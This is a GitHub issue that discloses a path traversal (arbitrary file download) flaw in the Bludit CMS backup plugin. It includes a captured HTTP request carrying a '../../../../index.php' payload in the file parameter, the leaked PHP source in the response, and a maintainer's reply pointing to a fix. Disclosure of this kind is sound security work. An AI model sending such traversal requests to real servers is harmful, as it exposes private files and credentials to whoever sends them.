

New issue

[Jump to bottom](#)

Arbitrary file download vulnerability #1214

Closed

NULLB8 opened this issue on Jun 22, 2020 · 1 comment

NULLB8 commented on Jun 22, 2020 • edited

problem

hi, The problem is in the backup plugin, the \$file parameter is not filtered, resulting in arbitrary file downloads

recurrent

Send Cancel < >

Request

Raw Params Headers Hex

1 GET /plugin-backup-download?file=../../../../index.php HTTP/1.1
2 Host: 192.168.207.194
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN,zh;q=0.9
9 Cookie: PHPSESSID=bqltgr4kja06nms4vdlned1094; order=id%20desc; memSize=4094; force=0; sites_path=C:\3A\wwwroot; serverType=apache; vcodsum=11; SetName; uploadSize=1073741824; rank=a; backup_path=C:\3A\backup; BLUDIT-KEY=n7vlu96rakpbu9ueu5r2gn7rn3; ltd_end=1; pro_end=1; softType=5; p5=2; BT_PANEL_6=d8d0726b-bf1b-4a49-b6b8-9899096d6c61.2b6u6LT57mmsCbQYu7TCuW3xaPq; request_token=97bcbda76319e9af3216959b70537cd1; XDEBUG_SESSION=phpstrom; Path=C:\3A\wwwroot/192.168.207.194/test3/bl-content
10 Connection: close
11
12

Response

Raw Headers Hex

1 HTTP/1.1 200 OK
2 Date: Tue, 23 Jun 2020 11:07:28 GMT
3 Server: Apache/2.4.41 (Win32) OpenSSL/1.1.1c mod_fcgid/2.3.9a
4 X-Powered-By: PHP/5.6.40
5 Content-Description: File Transfer
6 Content-Disposition: attachment; filename="index.php"
7 Expires: 0
8 Cache-Control: must-revalidate
9 Pragma: public
10 Upgrade: h2,h2c
11 Connection: Upgrade, close
12 Vary: Accept-Encoding
13 Content-Length: 900
14 Content-Type: application/octet-stream
15
16 <?php
17
18 /*
19 * Bludit
20 * https://www.bludit.com
21 * Author Diego Najjar
22 * Bludit is opensource software licensed under the MIT license.
23 */
24
25 // Check if Bludit is installed
26 if (!file_exists('bl-content/databases/site.php')) {
27 \$base = dirname(\$_SERVER['SCRIPT_NAME']);
28 \$base = rtrim(\$base, '/');
29 \$base = rtrim(\$base, '\\'); // Workaround for Windows Servers
30 header('Location: '.\$base.'/install.php');
31 exit('Install Bludit first.');
32 }
33
34 // Load time init
35 \$loadTime = microtime(true);
36
37 // Security constant
38 define('BLUDIT', true);
39
40 // Directory separator
41 define('DS', DIRECTORY_SEPARATOR);
42
43 // PHP paths for init
44 define('PATH_ROOT', _DIR_.DS);
45 define('PATH_BOOT', PATH_ROOT.'bl-kernel'.DS.'boot'.DS);
46
47 // Init
48 require(PATH_BOOT.'init.php');
49
50 // Admin area
51 if (\$url->whereAmI()=='admin') {
52 require(PATH_BOOT.'admin.php');
53 }
54 // Site
55 else {
56 require(PATH_BOOT.'site.php');
57 }
58

Search... 0 matches \n Pretty

Done 1,325 bytes | 196 millis

repair

<https://github.com/bludit/bludit/blob/e3abd64fe47350c7de8d51fe02342e6af3b2944e/bl-plugins/backup/plugin.php#L97>

Filter \$file parameter

ghost commented on Jun 23, 2020

Hi, thanks for the report. I have made a pull request - #1215

Just a note, this can only be "exploited" by a logged in admin.

 dignajar closed this as completed in 7689aa5 on Jun 23, 2020

 dignajar added a commit that referenced this issue on Jun 23, 2020

 Merge pull request #1215 from anaggh/master

d9adc34

Assignees

No one assigned

Labels

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

